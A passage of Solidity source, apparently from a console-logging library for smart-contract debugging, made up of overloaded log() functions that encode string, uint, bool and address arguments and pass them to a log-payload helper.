function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
